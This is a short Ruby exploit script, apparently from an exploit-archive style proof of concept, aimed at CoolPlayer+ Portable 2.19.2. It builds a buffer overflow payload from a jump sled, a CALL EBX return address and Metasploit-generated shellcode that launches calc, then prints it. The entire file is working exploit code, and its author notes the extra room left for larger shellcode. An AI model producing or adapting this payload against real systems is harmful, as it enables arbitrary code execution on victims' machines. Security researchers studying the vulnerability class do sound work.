#!/usr/bin/ruby

# Exploit for CoolPlayer+ Portable 2.19.2
#
# Based on exploit by Blake and Dhruval.
# Vulnerability found by Securityxxxpert
# Original: http://www.exploit-db.com/exploits/20262/
#
# This one by Robert Larsen <robert@the-playground.dk>
# Lots of room for shellcode as opposed to original exploit.

# Shellcode created with:
# msfpayload windows/exec CMD=calc R | msfencode -b '\x00\x0a\x0c'
SHELLCODE=
"\xda\xd6\xd9\x74\x24\xf4\xb8\x3a\xbd\x65\xf7\x5e\x31\xc9" +
"\xb1\x32\x31\x46\x17\x03\x46\x17\x83\xd4\x41\x87\x02\xd4" +
"\x52\xc1\xed\x24\xa3\xb2\x64\xc1\x92\xe0\x13\x82\x87\x34" +
"\x57\xc6\x2b\xbe\x35\xf2\xb8\xb2\x91\xf5\x09\x78\xc4\x38" +
"\x89\x4c\xc8\x96\x49\xce\xb4\xe4\x9d\x30\x84\x27\xd0\x31" +
"\xc1\x55\x1b\x63\x9a\x12\x8e\x94\xaf\x66\x13\x94\x7f\xed" +
"\x2b\xee\xfa\x31\xdf\x44\x04\x61\x70\xd2\x4e\x99\xfa\xbc" +
"\x6e\x98\x2f\xdf\x53\xd3\x44\x14\x27\xe2\x8c\x64\xc8\xd5" +
"\xf0\x2b\xf7\xda\xfc\x32\x3f\xdc\x1e\x41\x4b\x1f\xa2\x52" +
"\x88\x62\x78\xd6\x0d\xc4\x0b\x40\xf6\xf5\xd8\x17\x7d\xf9" +
"\x95\x5c\xd9\x1d\x2b\xb0\x51\x19\xa0\x37\xb6\xa8\xf2\x13" +
"\x12\xf1\xa1\x3a\x03\x5f\x07\x42\x53\x07\xf8\xe6\x1f\xa5" +
"\xed\x91\x7d\xa3\xf0\x10\xf8\x8a\xf3\x2a\x03\xbc\x9b\x1b" +
"\x88\x53\xdb\xa3\x5b\x10\x13\xee\xc6\x30\xbc\xb7\x92\x01" +
"\xa1\x47\x49\x45\xdc\xcb\x78\x35\x1b\xd3\x08\x30\x67\x53" +
"\xe0\x48\xf8\x36\x06\xff\xf9\x12\x65\x9e\x69\xfe\x6a"

payload = "\xeb\x4e" * (232 / 2) + #JMP 80
          "\x5d\xec\xf8\x77"     + #CALL EBX
          "\x90\x90\x90\x90"     + #Junk
          SHELLCODE

puts payload
